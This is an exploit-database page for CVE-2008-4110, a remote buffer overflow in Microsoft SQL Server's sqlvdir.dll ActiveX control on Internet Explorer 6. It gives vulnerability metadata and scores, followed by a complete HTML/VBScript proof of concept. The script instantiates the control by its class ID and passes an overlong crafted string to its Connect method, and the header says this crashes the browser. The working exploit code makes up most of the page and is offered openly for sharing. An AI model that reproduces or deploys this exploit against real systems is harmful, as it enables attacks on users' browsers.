sqlvdir.dll ActiveX Remote Buffer Overflow Exploit

2008.09.12

Credit: beenudel1986_at_gmail.com

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-4110

CWE: CWE-119

CVSS Base Score: 7.6/10

Impact Subscore: 10/10

Exploitability Subscore: 4.9/10

Exploit range: Remote

Attack complexity: High

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

 # est.2007 \/ \/ forum.darkc0de.com #
################################################################
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - r4s4al #
# ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE #
# and all darkc0de members ---#
################################################################
#
# Author: Beenu Arora
#
# Home : www.BeenuArora.com
#
# Email : beenudel1986_at_gmail&#46;com
#
# Share the c0de!
#
################################################################
#
# sqlvdir.dll ActiveX Remote Buffer Overflow Exploit
#
# Successfull exploitation crashes the Browser
#
# Tested On : WinXp Sp-2 IE 6.0
#
#################################################
# Loaded File: C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlvdir.dll
# Class SQLVDirControl
# GUID: {FC13BAA2-9C1A-4069-A221-31A147636038}
# Number of Interfaces: 1
# Default Interface: ISQLVDirControl
# RegKey Safe for Script: False
# RegkeySafe for Init: False
# KillBitSet: False
#################################################
<html>
Test Exploit page
<object classid='clsid:FC13BAA2-9C1A-4069-A221-31A147636038' id='target' ></object>
<script language='vbscript'>
targetFile = "C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlvdir.dll"
prototype = "Sub Connect ( [ ByVal szServer As Variant ] , [ ByVal szWebSite As Variant ] )"
memberName = "Connect"
progid = "SQLVDIRLib.SQLVDirControl"
argCount = 2
arg1="defaultV"
arg2="http://test\test\test\te?s\test\test\tes\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\te
st\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te_at_st\tes\test\test\tes&#46;\ttest\test\test\tes\test\test\te.s\ttest\test
\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te_at_st\tes\test\test\tes&#46;\ttest\test\test\tes\test\tes
t\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te_at_st\tes\test\test\tes&#46;\ttest\test\
test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\"
target.Connect arg1 ,arg2
</script>

References:

http://www.securityfocus.com/bid/31129

http://www.securityfocus.com/archive/1/archive/1/496232/100/0/threaded

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

sqlvdir.dll ActiveX Remote Buffer Overflow Exploit

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.